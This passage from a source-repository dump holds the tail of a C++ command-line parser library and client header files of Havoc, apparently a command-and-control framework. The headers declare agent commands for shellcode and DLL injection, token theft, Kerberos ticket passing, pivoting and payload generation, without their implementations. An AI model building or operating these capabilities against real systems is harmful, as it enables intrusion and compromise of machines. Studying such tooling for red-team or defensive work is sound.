                    throw std::bad_cast();
                return ret;
            }
        };

        template <typename T1, typename T2>
        struct is_same {
            static const bool value = false;
        };

        template <typename T>
        struct is_same<T, T>{
            static const bool value = true;
        };

        template<typename Target, typename Source>
        Target lexical_cast(const Source &arg)
        {
            return lexical_cast_t<Target, Source, detail::is_same<Target, Source>::value>::cast(arg);
        }

        static inline std::string demangle(const std::string &name)
        {
            int status=0;
            char *p=abi::__cxa_demangle(name.c_str(), 0, 0, &status);
            std::string ret(p);
            free(p);
            return ret;
        }

        template <class T>
        std::string readable_typename()
        {
            return demangle(typeid(T).name());
        }

        template <class T>
        std::string default_value(T def)
        {
            return detail::lexical_cast<std::string>(def);
        }

        template <>
        inline std::string readable_typename<std::string>()
        {
            return "string";
        }

    } // detail

//-----

    class cmdline_error : public std::exception {
    public:
        cmdline_error(const std::string &msg): msg(msg){}
        ~cmdline_error() throw() {}
        const char *what() const throw() { return msg.c_str(); }
    private:
        std::string msg;
    };

    template <class T>
    struct default_reader{
        T operator()(const std::string &str){
            return detail::lexical_cast<T>(str);
        }
    };

    template <class T>
    struct range_reader{
        range_reader(const T &low, const T &high): low(low), high(high) {}
        T operator()(const std::string &s) const {
            T ret=default_reader<T>()(s);
            if (!(ret>=low && ret<=high)) throw cmdline::cmdline_error("range_error");
            return ret;
        }
    private:
        T low, high;
    };

    template <class T>
    range_reader<T> range(const T &low, const T &high)
    {
        return range_reader<T>(low, high);
    }

    template <class T>
    struct oneof_reader{
        T operator()(const std::string &s){
            T ret=default_reader<T>()(s);
            if (std::find(alt.begin(), alt.end(), ret)==alt.end())
                throw cmdline_error("");
            return ret;
        }
        void add(const T &v){ alt.push_back(v); }
    private:
        std::vector<T> alt;
    };

    template <class T>
    oneof_reader<T> oneof(T a1)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2, T a3)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        ret.add(a3);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2, T a3, T a4)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        ret.add(a3);
        ret.add(a4);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        ret.add(a3);
        ret.add(a4);
        ret.add(a5);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        ret.add(a3);
        ret.add(a4);
        ret.add(a5);
        ret.add(a6);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        ret.add(a3);
        ret.add(a4);
        ret.add(a5);
        ret.add(a6);
        ret.add(a7);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        ret.add(a3);
        ret.add(a4);
        ret.add(a5);
        ret.add(a6);
        ret.add(a7);
        ret.add(a8);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, T a9)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        ret.add(a3);
        ret.add(a4);
        ret.add(a5);
        ret.add(a6);
        ret.add(a7);
        ret.add(a8);
        ret.add(a9);
        return ret;
    }

    template <class T>
    oneof_reader<T> oneof(T a1, T a2, T a3, T a4, T a5, T a6, T a7, T a8, T a9, T a10)
    {
        oneof_reader<T> ret;
        ret.add(a1);
        ret.add(a2);
        ret.add(a3);
        ret.add(a4);
        ret.add(a5);
        ret.add(a6);
        ret.add(a7);
        ret.add(a8);
        ret.add(a9);
        ret.add(a10);
        return ret;
    }

//-----

    class parser{
    public:
        parser(){
        }
        ~parser(){
            for (std::map<std::string, option_base*>::iterator p=options.begin();
                 p!=options.end(); p++)
                delete p->second;
        }

        void add(const std::string &name,
                 char short_name=0,
                 const std::string &desc=""){
            if (options.count(name)) throw cmdline_error("multiple definition: "+name);
            options[name]=new option_without_value(name, short_name, desc);
            ordered.push_back(options[name]);
        }

        template <class T>
        void add(const std::string &name,
                 char short_name=0,
                 const std::string &desc="",
                 bool need=true,
                 const T def=T()){
            add(name, short_name, desc, need, def, default_reader<T>());
        }

        template <class T, class F>
        void add(const std::string &name,
                 char short_name=0,
                 const std::string &desc="",
                 bool need=true,
                 const T def=T(),
                 F reader=F()){
            if (options.count(name)) throw cmdline_error("multiple definition: "+name);
            options[name]=new option_with_value_with_reader<T, F>(name, short_name, need, def, desc, reader);
            ordered.push_back(options[name]);
        }

        void footer(const std::string &f){
            ftr=f;
        }

        void set_program_name(const std::string &name){
            prog_name=name;
        }

        bool exist(const std::string &name) const {
            if (options.count(name)==0) throw cmdline_error("there is no flag: --"+name);
            return options.find(name)->second->has_set();
        }

        template <class T>
        const T &get(const std::string &name) const {
            if (options.count(name)==0) throw cmdline_error("there is no flag: --"+name);
            const option_with_value<T> *p=dynamic_cast<const option_with_value<T>*>(options.find(name)->second);
            if (p==NULL) throw cmdline_error("type mismatch flag '"+name+"'");
            return p->get();
        }

        const std::vector<std::string> &rest() const {
            return others;
        }

        bool parse(const std::string &arg){
            std::vector<std::string> args;

            std::string buf;
            bool in_quote=false;
            for (std::string::size_type i=0; i<arg.length(); i++){
                if (arg[i]=='\"'){
                    in_quote=!in_quote;
                    continue;
                }

                if (arg[i]==' ' && !in_quote){
                    args.push_back(buf);
                    buf="";
                    continue;
                }

                if (arg[i]=='\\'){
                    i++;
                    if (i>=arg.length()){
                        errors.push_back("unexpected occurrence of '\\' at end of string");
                        return false;
                    }
                }

                buf+=arg[i];
            }

            if (in_quote){
                errors.push_back("quote is not closed");
                return false;
            }

            if (buf.length()>0)
                args.push_back(buf);

            for (size_t i=0; i<args.size(); i++)
                std::cout<<"\""<<args[i]<<"\""<<std::endl;

            return parse(args);
        }

        bool parse(const std::vector<std::string> &args){
            int argc=static_cast<int>(args.size());
            std::vector<const char*> argv(argc);

            for (int i=0; i<argc; i++)
                argv[i]=args[i].c_str();

            return parse(argc, &argv[0]);
        }

        bool parse(int argc, const char * const argv[]){
            errors.clear();
            others.clear();

            if (argc<1){
                errors.push_back("argument number must be longer than 0");
                return false;
            }
            if (prog_name=="")
                prog_name=argv[0];

            std::map<char, std::string> lookup;
            for (std::map<std::string, option_base*>::iterator p=options.begin();
                 p!=options.end(); p++){
                if (p->first.length()==0) continue;
                char initial=p->second->short_name();
                if (initial){
                    if (lookup.count(initial)>0){
                        lookup[initial]="";
                        errors.push_back(std::string("short option '")+initial+"' is ambiguous");
                        return false;
                    }
                    else lookup[initial]=p->first;
                }
            }

            for (int i=1; i<argc; i++){
                if (strncmp(argv[i], "--", 2)==0){
                    const char *p=strchr(argv[i]+2, '=');
                    if (p){
                        std::string name(argv[i]+2, p);
                        std::string val(p+1);
                        set_option(name, val);
                    }
                    else{
                        std::string name(argv[i]+2);
                        if (options.count(name)==0){
                            errors.push_back("undefined option: --"+name);
                            continue;
                        }
                        if (options[name]->has_value()){
                            if (i+1>=argc){
                                errors.push_back("option needs value: --"+name);
                                continue;
                            }
                            else{
                                i++;
                                set_option(name, argv[i]);
                            }
                        }
                        else{
                            set_option(name);
                        }
                    }
                }
                else if (strncmp(argv[i], "-", 1)==0){
                    if (!argv[i][1]) continue;
                    char last=argv[i][1];
                    for (int j=2; argv[i][j]; j++){
                        last=argv[i][j];
                        if (lookup.count(argv[i][j-1])==0){
                            errors.push_back(std::string("undefined short option: -")+argv[i][j-1]);
                            continue;
                        }
                        if (lookup[argv[i][j-1]]==""){
                            errors.push_back(std::string("ambiguous short option: -")+argv[i][j-1]);
                            continue;
                        }
                        set_option(lookup[argv[i][j-1]]);
                    }

                    if (lookup.count(last)==0){
                        errors.push_back(std::string("undefined short option: -")+last);
                        continue;
                    }
                    if (lookup[last]==""){
                        errors.push_back(std::string("ambiguous short option: -")+last);
                        continue;
                    }

                    if (i+1<argc && options[lookup[last]]->has_value()){
                        set_option(lookup[last], argv[i+1]);
                        i++;
                    }
                    else{
                        set_option(lookup[last]);
                    }
                }
                else{
                    others.push_back(argv[i]);
                }
            }

            for (std::map<std::string, option_base*>::iterator p=options.begin();
                 p!=options.end(); p++)
                if (!p->second->valid())
                    errors.push_back("need option: --"+std::string(p->first));

            return errors.size()==0;
        }

        void parse_check(const std::string &arg){
            if (!options.count("help"))
                add("help", '?', "print this message");
            check(0, parse(arg));
        }

        void parse_check(const std::vector<std::string> &args){
            if (!options.count("help"))
                add("help", '?', "print this message");
            check(args.size(), parse(args));
        }

        void parse_check(int argc, char *argv[]){
            if (!options.count("help"))
                add("help", '?', "print this message");
            check(argc, parse(argc, argv));
        }

        std::string error() const{
            return errors.size()>0?errors[0]:"";
        }

        std::string error_full() const{
            std::ostringstream oss;
            for (size_t i=0; i<errors.size(); i++)
                oss<<errors[i]<<std::endl;
            return oss.str();
        }

        std::string usage() const {
            std::ostringstream oss;
            oss<<"usage: "<<prog_name<<" ";
            for (size_t i=0; i<ordered.size(); i++){
                if (ordered[i]->must())
                    oss<<ordered[i]->short_description()<<" ";
            }

            oss<<"[options] ... "<<ftr<<std::endl;
            oss<<"options:"<<std::endl;

            size_t max_width=0;
            for (size_t i=0; i<ordered.size(); i++){
                max_width=std::max(max_width, ordered[i]->name().length());
            }
            for (size_t i=0; i<ordered.size(); i++){
                if (ordered[i]->short_name()){
                    oss<<"  -"<<ordered[i]->short_name()<<", ";
                }
                else{
                    oss<<"      ";
                }

                oss<<"--"<<ordered[i]->name();
                for (size_t j=ordered[i]->name().length(); j<max_width+4; j++)
                    oss<<' ';
                oss<<ordered[i]->description()<<std::endl;
            }
            return oss.str();
        }

    private:

        void check(int argc, bool ok){
            if ((argc==1 && !ok) || exist("help")){
                std::cerr<<usage();
                exit(0);
            }

            if (!ok){
                std::cerr<<error()<<std::endl<<usage();
                exit(1);
            }
        }

        void set_option(const std::string &name){
            if (options.count(name)==0){
                errors.push_back("undefined option: --"+name);
                return;
            }
            if (!options[name]->set()){
                errors.push_back("option needs value: --"+name);
                return;
            }
        }

        void set_option(const std::string &name, const std::string &value){
            if (options.count(name)==0){
                errors.push_back("undefined option: --"+name);
                return;
            }
            if (!options[name]->set(value)){
                errors.push_back("option value is invalid: --"+name+"="+value);
                return;
            }
        }

        class option_base{
        public:
            virtual ~option_base(){}

            virtual bool has_value() const=0;
            virtual bool set()=0;
            virtual bool set(const std::string &value)=0;
            virtual bool has_set() const=0;
            virtual bool valid() const=0;
            virtual bool must() const=0;

            virtual const std::string &name() const=0;
            virtual char short_name() const=0;
            virtual const std::string &description() const=0;
            virtual std::string short_description() const=0;
        };

        class option_without_value : public option_base {
        public:
            option_without_value(const std::string &name,
                                 char short_name,
                                 const std::string &desc)
                    :nam(name), snam(short_name), desc(desc), has(false){
            }
            ~option_without_value(){}

            bool has_value() const { return false; }

            bool set(){
                has=true;
                return true;
            }

            bool set(const std::string &){
                return false;
            }

            bool has_set() const {
                return has;
            }

            bool valid() const{
                return true;
            }

            bool must() const{
                return false;
            }

            const std::string &name() const{
                return nam;
            }

            char short_name() const{
                return snam;
            }

            const std::string &description() const {
                return desc;
            }

            std::string short_description() const{
                return "--"+nam;
            }

        private:
            std::string nam;
            char snam;
            std::string desc;
            bool has;
        };

        template <class T>
        class option_with_value : public option_base {
        public:
            option_with_value(const std::string &name,
                              char short_name,
                              bool need,
                              const T &def,
                              const std::string &desc)
                    : nam(name), snam(short_name), need(need), has(false)
                    , def(def), actual(def) {
                this->desc=full_description(desc);
            }
            ~option_with_value(){}

            const T &get() const {
                return actual;
            }

            bool has_value() const { return true; }

            bool set(){
                return false;
            }

            bool set(const std::string &value){
                try{
                    actual=read(value);
                    has=true;
                }
                catch(const std::exception &e){
                    return false;
                }
                return true;
            }

            bool has_set() const{
                return has;
            }

            bool valid() const{
                if (need && !has) return false;
                return true;
            }

            bool must() const{
                return need;
            }

            const std::string &name() const{
                return nam;
            }

            char short_name() const{
                return snam;
            }

            const std::string &description() const {
                return desc;
            }

            std::string short_description() const{
                return "--"+nam+"="+detail::readable_typename<T>();
            }

        protected:
            std::string full_description(const std::string &desc){
                return
                        desc+" ("+detail::readable_typename<T>()+
                        (need?"":" [="+detail::default_value<T>(def)+"]")
                        +")";
            }

            virtual T read(const std::string &s)=0;

            std::string nam;
            char snam;
            bool need;
            std::string desc;

            bool has;
            T def;
            T actual;
        };

        template <class T, class F>
        class option_with_value_with_reader : public option_with_value<T> {
        public:
            option_with_value_with_reader(const std::string &name,
                                          char short_name,
                                          bool need,
                                          const T def,
                                          const std::string &desc,
                                          F reader)
                    : option_with_value<T>(name, short_name, need, def, desc), reader(reader){
            }

        private:
            T read(const std::string &s){
                return reader(s);
            }

            F reader;
        };

        std::map<std::string, option_base*> options;
        std::vector<option_base*> ordered;
        std::string ftr;

        std::string prog_name;
        std::vector<std::string> others;

        std::vector<std::string> errors;
    };

} // cmdline

================================================
FILE: client/include/Havoc/Connector.hpp
================================================
#ifndef HAVOC_CONNECTOR_HPP
#define HAVOC_CONNECTOR_HPP

#include <global.hpp>
#include <QJsonDocument>
#include <QJsonObject>
#include <QWebSocket>
#include <QAbstractSocket>

#include <Havoc/Packager.hpp>

namespace HavocNamespace
{
    class Connector : public QTcpSocket
    {
    private:
        QWebSocket*           Socket     = nullptr;
        Util::ConnectionInfo* Teamserver = nullptr;
        HavocSpace::Packager* Packager   = nullptr;

    public:
        QString ErrorString = nullptr;

        Connector( Util::ConnectionInfo* );
        ~Connector() noexcept;

        bool Disconnect();

        void SendLogin();
        void SendPackage( Util::Packager::PPackage package );
    };
}

#endif //HAVOC_CONNECTOR_HPP


================================================
FILE: client/include/Havoc/DBManager/DBManager.hpp
================================================
#ifndef HAVOC_DBMANAGER_HPP
#define HAVOC_DBMANAGER_HPP

#include <global.hpp>

#include <QSqlDatabase>
#include <QSqlQuery>
#include <QSqlError>

using namespace std;

class HavocNamespace::HavocSpace::DBManager
{
private:
    QSqlDatabase DB;

    bool createNewDatabase();

public:
    static string DBFilePath;

    static int OpenSqlFile;
    static int CreateSqlFile;

    DBManager(const QString& FilePath, int OpenFlag = OpenSqlFile);

    bool addTeamserverInfo( const Util::ConnectionInfo& );
    bool checkTeamserverExists( const QString& ProfileName );
    bool removeTeamserverInfo( const QString& ProfileName );
    bool removeAllTeamservers();
    vector<Util::ConnectionInfo> listTeamservers();

    bool AddScript( QString Path );
    bool RemoveScript( QString Path );
    bool CheckScript( QString Path );
    vector<QString> GetScripts();
};

#endif

================================================
FILE: client/include/Havoc/DemonCmdDispatch.h
================================================
#ifndef HAVOC_DEMONCMDDISPATCH_H
#define HAVOC_DEMONCMDDISPATCH_H

#include <global.hpp>

#include <QStringList>
#include <QFile>

using namespace std;
using namespace HavocNamespace;

#define SEND( f ) \
    if ( Send ) f; return true;

#define CONSOLE_ERROR( x )                          \
    DemonConsole->Console->append( "" );            \
    DemonConsole->Console->append( this->Prompt );  \
    DemonConsole->TaskError( x );

#define CONSOLE_INFO( x ) \
    DemonConsole->TaskInfo( Send, TaskID, x );

enum class Commands {
    CHECKIN                 = 100,
    CALLBACK                = 10,
    CONSOLE_MESSAGE         = 0x80,
    BOF_CALLBACK            = 0x81,
    SLEEP                   = 11,
    PROC_LIST               = 12,
    FS                      = 15,
    INLINE_EXECUTE          = 20,
    JOB                     = 21,
    INJECT_DLL              = 22,
    INJECT_SHELLCODE        = 24,
    INJECT_DLL_SPAWN        = 26,
    TOKEN                   = 40,
    PROC                    = 0x1010,
    INLINE_EXECUTE_ASSEMBLY = 0x2001,
    ASSEMBLY_LIST_VERSIONS 	= 0x2003,
    NET                     = 2100,
    CONFIG                  = 2500,
    SCREENSHOT              = 2510,
    PIVOT                   = 2520,
    TRANSFER                = 2530,
    SOCKET                  = 2540,
    KERBEROS                = 2550,

    OUTPUT  = 90,
    ERROR   = 91,
    EXIT    = 92,
};

class DispatchOutput
{
public:
    HavocSpace::DemonCommands* DemonCommandInstance;

    auto MessageOutput( QString JsonString, const QString& Date ) const -> void;
};

class CommandExecute
{
public:
    HavocSpace::DemonCommands* DemonCommandInstance;

    auto Exit( QString TaskID, QString Methode ) -> void;
    auto Sleep( QString TaskID, QString seconds ) -> void;
    auto Checkin( QString TaskID ) -> void;
    auto Job( QString TaskID, QString SubCommand, QString Argument ) -> void;
    auto FS( const QString& TaskID, QString SubCommand, QString Arguments ) -> void;
    auto Transfer( const QString& TaskID, QString SubCommand, QString FileID ) -> void;
    auto Socket( const QString& TaskID, QString SubCommand, QString Params ) -> void;
    auto Luid( const QString& TaskID ) -> void;
    auto Klist( const QString &TaskID, QString Argument1, QString Argument2 ) -> void;
    auto Purge( const QString &TaskID, QString Argument ) -> void;
    auto Ptt( const QString &TaskID, QString Ticket, QString Luid ) -> void;

    auto ProcModule( QString TaskID, int SubCommand, QString Args ) -> void;
    auto ProcList( QString TaskID, bool FromProcessManager ) -> void;

    auto ShellcodeInject( QString TaskID, QString InjectionTechnique, QString TargetPID, QString TargetArch, QString Path, QString Arguments ) const -> void;
    auto ShellcodeSpawn( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void;
    auto ShellcodeExecute( QString TaskID, QString InjectionTechnique, QString TargetArch, QString Path, QString Arguments ) -> void;

    auto DllInject( QString TaskID, QString TargetPID, QString Path, QString Params ) -> void;
    auto DllSpawn( QString TaskID, QString FilePath, QByteArray Args ) -> void;

    auto InlineExecute( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void;
    auto InlineExecuteGetOutput( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void;
    auto AssemblyInlineExecute( QString TaskID, QString Path, QString Args ) -> void;
    auto AssemblyListVersions( QString TaskID ) -> void;
    auto Net( QString TaskID, QString Command, QString Param ) -> void;
    auto Pivot( QString TaskID, QString Command, QString Param ) -> void;
    auto Token( QString TaskID, QString SubCommand, QString Arguments ) -> void;
    auto Config( const QString& TaskID, const QString& Key, const QString& Value ) -> void;
    auto Screenshot( const QString& TaskID ) -> void;
    auto Task( const QString& TaskID, const QString& Command ) -> void;

    auto AgentCommand( QMap<string, string> CommandData ) -> void;
};

class HavocSpace::DemonCommands
{

public:
    UserInterface::Widgets::DemonInteracted* DemonConsole = nullptr;

    QString         Teamserver;
    QString         DemonID;
    u64             MagicValue;
    QString         AgentTypeName;
    DispatchOutput  OutputDispatch;
    CommandExecute  Execute;
    QString         Prompt;
    /* Something the command scripts can write to */
    QStringList     BufferedMessages;

    typedef struct SubCommand
    {
        QString     CommandString;
        QString     Description;
        QString     Behavior;
        QString     NeedElevated;
        QStringList MitreTechniques; // TODO: finish this for all commands
        QString     Usage;
        QString     Example;
        QStringList Options;
    } SubCommand_t;

    typedef struct Command
    {
        QString     CommandString;
        QString     Description;
        QString     Behavior;
        QString     NeedElevated;
        QStringList MitreTechniques;
        QString     Usage;
        QString     Example;
        bool        Module;

        std::vector<SubCommand_t> SubCommands;
    } Command_t;

    static std::vector<Command_t>   DemonCommandList;
    QMap<QString, QString>          CommandInputList;
    QMap<QString, QString>          CommandTaskInfo;

    explicit DemonCommands();

    auto SetDemonConsole( UserInterface::Widgets::DemonInteracted* pInteracted ) -> void;
    auto DispatchCommand( bool Send, QString TaskID, const QString& commandline ) -> bool;
    auto PrintModuleCachedMessages() -> void;
};

#endif


================================================
FILE: client/include/Havoc/Havoc.hpp
================================================
#ifndef HAVOC_HAVOC_HPP
#define HAVOC_HAVOC_HPP

#include <global.hpp>
#include <UserInterface/HavocUI.hpp>
#include <Havoc/DBManager/DBManager.hpp>

using namespace HavocNamespace;

class HavocSpace::Havoc {

    using toml_t = toml::basic_value<toml::discard_comments, unordered_map, vector>;;

public:
    toml_t Config;

    UserInterface::HavocUi HavocAppUI;
    DBManager* dbManager;
    QMainWindow* HavocMainWindow;
    bool ClientInitConnect = true;

    Havoc( QMainWindow* );
    ~Havoc();

    void Init( int argc, char** argv );
    void Start();

    static void Exit();
};

#endif


================================================
FILE: client/include/Havoc/Packager.hpp
================================================
#ifndef HAVOC_PACKAGER_H
#define HAVOC_PACKAGER_H

#include <global.hpp>

using namespace std;
using namespace HavocNamespace;
using namespace HavocSpace;

namespace HavocNamespace::Util::Packager
{
    typedef struct
    {
        int Event;

        string User;
        string Time;
        string OneTime;
    } Head_t;

    typedef struct
    {
        int SubEvent;
        QMap<string, string> Info; // TODO: make it QJsonObject
    } Body_t ;

    typedef struct Package
    {
        Head_t Head;
        Body_t Body;
    } Package, *PPackage;

    // TODO: make everyone a struct with static members
    namespace InitConnection
    {
        extern const int Type;
        extern const int Success;
        extern const int Error;
        extern const int Login;
    }

    namespace Listener
    {
        extern const int Type;

        extern const int Add;
        extern const int Remove;
        extern const int Edit;
        extern const int Mark;
        extern const int Error;
    }

    namespace Chat
    {
        extern const int Type;

        extern const int NewMessage;
        extern const int NewListener;
        extern const int NewUser;
        extern const int UserDisconnect;
        extern const int NewSession;
    }

    namespace Gate
    {
        extern const int Type;

        extern const int Staged;
        extern const int Stageless;
        extern const int MSOffice;
    }

    namespace Session
    {
        extern const int Type;

        extern const int NewSession;
        extern const int SendCommand;
        extern const int ReceiveCommand;
        extern const int MarkAs;
        extern const int Remove;
    }

    namespace Service
    {
        extern const int Type;
        extern const int AgentRegister;
        extern const int ListenerRegister;
    }

    namespace Teamserver
    {
        extern const int Type;
        extern const int Logger;
        extern const int Profile;
    }
}

auto NewPackageCommand( const QString& Teamserver, Util::Packager::Body_t Body ) -> void;

class HavocSpace::Packager
{
private:
    QString TeamserverName;
public:
    static Util::Packager::PPackage DecodePackage(const QString& Package );
    QJsonDocument EncodePackage( Util::Packager::Package Package );

    bool DispatchPackage( Util::Packager::PPackage Package );
    void setTeamserver(QString Name);

public:
    bool DispatchInitConnection( Util::Packager::PPackage Package );
    bool DispatchListener( Util::Packager::PPackage Package );
    bool DispatchChat( Util::Packager::PPackage Package );
    bool DispatchSession( Util::Packager::PPackage Package );
    bool DispatchGate( Util::Packager::PPackage Package );
    bool DispatchService( Util::Packager::PPackage Package );
    bool DispatchTeamserver( Util::Packager::PPackage Package );
};

#endif //HAVOC_PACKAGER_H


================================================
FILE: client/include/Havoc/PythonApi/Event.h
================================================
#ifndef HAVOC_EVENT_H
#define HAVOC_EVENT_H

#include <global.hpp>

typedef struct
{
    PyObject_HEAD

    PVOID SessionFuncList;

} PyEvents, *PPyEvents;

extern PyTypeObject PyEventClass_Type;

void        EventClass_dealloc( PPyEvents self );
PyObject*   EventClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );
int         EventClass_init( PPyEvents self, PyObject *args, PyObject *kwds );

// Methods

PyObject*   EventClass_OnNewSession( PPyEvents self, PyObject *args );
PyObject*   EventClass_OnDemonOutput( PPyEvents self, PyObject *args );

#endif


================================================
FILE: client/include/Havoc/PythonApi/HavocUi.h
================================================
#ifndef HAVOC_HAVOCUI_H
#define HAVOC_HAVOCUI_H

#endif

================================================
FILE: client/include/Havoc/PythonApi/PyAgentClass.hpp
================================================
#ifndef HAVOC_PYAGENTCLASS_HPP
#define HAVOC_PYAGENTCLASS_HPP

#include <global.hpp>

#define AllocMov( des, src, size )                          \
    if ( size > 0 )                                         \
    {                                                       \
        des = ( char* ) malloc( size * sizeof( char ) );    \
        memset( des, 0, size );                             \
        std::strcpy( des, src );                            \
    }

typedef struct
{
    PyObject_HEAD

    PCHAR AgentID;

    u32 CONSOLE_INFO;
    u32 CONSOLE_ERROR;
    u32 CONSOLE_TASK;
} PyAgentClass, *PPyAgentClass;

extern PyTypeObject PyAgentClass_Type;

void      AgentClass_dealloc( PPyAgentClass self );
PyObject* AgentClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );
int       AgentClass_init( PPyAgentClass self, PyObject *args, PyObject *kwds );
PyObject* AgentClass_ConsoleWrite( PPyAgentClass self, PyObject *args );
PyObject* AgentClass_Command( PPyAgentClass self, PyObject *args );

#endif


================================================
FILE: client/include/Havoc/PythonApi/PyDemonClass.h
================================================
#ifndef HAVOC_PYDEMONCLASS_H
#define HAVOC_PYDEMONCLASS_H

#include <global.hpp>

typedef struct
{
    PyObject_HEAD

    // Demon Info
    char* Listener;

    char* DemonID;
    char* ExternalIP;
    char* InternalIP;
    char* User;
    char* Computer;
    char* Domain;
    char* OS;
    char* OSBuild;
    char* OSArch;
    char* ProcessName;
    char* ProcessID;
    char* ProcessArch;

    // Other Members

    u32 CONSOLE_INFO;
    u32 CONSOLE_ERROR;
    u32 CONSOLE_TASK;

} PyDemonClass, *PPyDemonClass;

extern PyTypeObject PyDemonClass_Type;

void        DemonClass_dealloc( PPyDemonClass self );
PyObject*   DemonClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );
int         DemonClass_init( PPyDemonClass self, PyObject *args, PyObject *kwds );

// Methods

// PyObject* DemonClass_( PPyDemonClass self, PyObject *args );

// Command
PyObject*   DemonClass_ProcessCreate( PPyDemonClass self, PyObject *args );
PyObject*   DemonClass_DllInject( PPyDemonClass self, PyObject *args );
PyObject*   DemonClass_DllSpawn( PPyDemonClass self, PyObject *args );
PyObject*   DemonClass_InlineExecute( PPyDemonClass self, PyObject *args );
PyObject*   DemonClass_InlineExecuteGetOutput( PPyDemonClass self, PyObject *args );
PyObject*   DemonClass_DotnetInlineExecute( PPyDemonClass self, PyObject *args );
PyObject*   DemonClass_RegisterCallback( PPyDemonClass self, PyObject *args );
PyObject*   DemonClass_Command( PPyDemonClass self, PyObject *args );
PyObject* DemonClass_CommandGetOutput( PPyDemonClass self, PyObject *args );
PyObject*   DemonClass_ShellcodeSpawn( PPyDemonClass self, PyObject *args );

// Utils
PyObject*   DemonClass_ConsoleWrite( PPyDemonClass self, PyObject *args );

#endif


================================================
FILE: client/include/Havoc/PythonApi/PythonApi.h
================================================
#ifndef HAVOC_PYTHONAPI_H
#define HAVOC_PYTHONAPI_H

#include <global.hpp>
#pragma push_macro("slots")
#undef slots
#include <Python.h>
#pragma pop_macro("slots")

#define PY_FUNCTION( x )    PyObject* x( PyObject *self, PyObject *args );
#define PY_FUNCTION_KW( x ) PyObject* x( PyObject *self, PyObject *args, PyObject* kwargs );

namespace PythonAPI
{
    namespace Havoc
    {
        extern PyMethodDef PyMethode_Havoc[];

        namespace Core
        {
            PY_FUNCTION( Load )
            PY_FUNCTION( GetDemons )
            PY_FUNCTION( GetListeners )
            PY_FUNCTION( GetAgents )
            PY_FUNCTION_KW( GeneratePayload )
            PY_FUNCTION_KW( RegisterCommand )
            PY_FUNCTION( RegisterModule )
            PY_FUNCTION( RegisterCallback )
        }

        namespace PyModule
        {
            extern struct PyModuleDef havoc;
        }

        PyMODINIT_FUNC PyInit_Havoc(void);
    }

    namespace HavocUI
    {
        extern PyMethodDef PyMethode_HavocUI[];

        namespace Core
        {
            PY_FUNCTION( MessageBox )
            PY_FUNCTION( ErrorMessage )
            PY_FUNCTION( CreateTab )
            PY_FUNCTION( InputDialog )
            PY_FUNCTION( OpenFileDialog )
            PY_FUNCTION( SaveFileDialog )
            PY_FUNCTION( QuestionDialog )
            PY_FUNCTION( ColorDialog )
            PY_FUNCTION( ProgressDialog )
        }

        namespace PyModule
        {
            extern struct PyModuleDef havocui;
        }

        PyMODINIT_FUNC PyInit_HavocUI(void);

    }
}

namespace emb
{
    typedef std::function<void(std::string)> stdout_write_type;

    struct Stdout
    {
        PyObject_HEAD
        stdout_write_type write;
    };

    PyObject* Stdout_write(PyObject* self, PyObject* args);
    PyObject* Stdout_flush(PyObject* self, PyObject* args);
    PyMODINIT_FUNC PyInit_emb(void);
    void set_stdout(stdout_write_type write);
    void reset_stdout();
};

#endif


================================================
FILE: client/include/Havoc/PythonApi/UI/PyDialogClass.hpp
================================================
#ifndef HAVOC_PYDIALOGCLASS_H
#define HAVOC_PYDIALOGCLASS_H

#include <UserInterface/HavocUI.hpp>
#include <global.hpp>

#include <QVBoxLayout>
#include <QScrollArea>
#include <QDialog>
#include <QLabel>
#include <QPushButton>
#include <QCheckBox>
#include <QLineEdit>
#include <QCalendarWidget>
#include <QDial>
#include <QSlider>

typedef struct
{

    QDialog*        window;
    QVBoxLayout*    layout;
    QScrollArea*    scroll;
    QWidget*        root;
    QVBoxLayout*    root_layout;

} PyDialogQWindow, *PPyDialogQWindow;

typedef struct
{
    PyObject_HEAD

    // Demon Info
    char* title;
    PPyDialogQWindow DialogWindow;

} PyDialogClass, *PPyDialogClass;

extern PyTypeObject PyDialogClass_Type;

void        DialogClass_dealloc( PPyDialogClass self );
PyObject*   DialogClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );
int         DialogClass_init( PPyDialogClass self, PyObject *args, PyObject *kwds );

// Methods

PyObject*   DialogClass_exec( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_close( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_clear( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_addLabel( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_addButton( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_addCheckbox( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_addCombobox( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_addLineedit( PPyDialogClass self, PyObject *args );
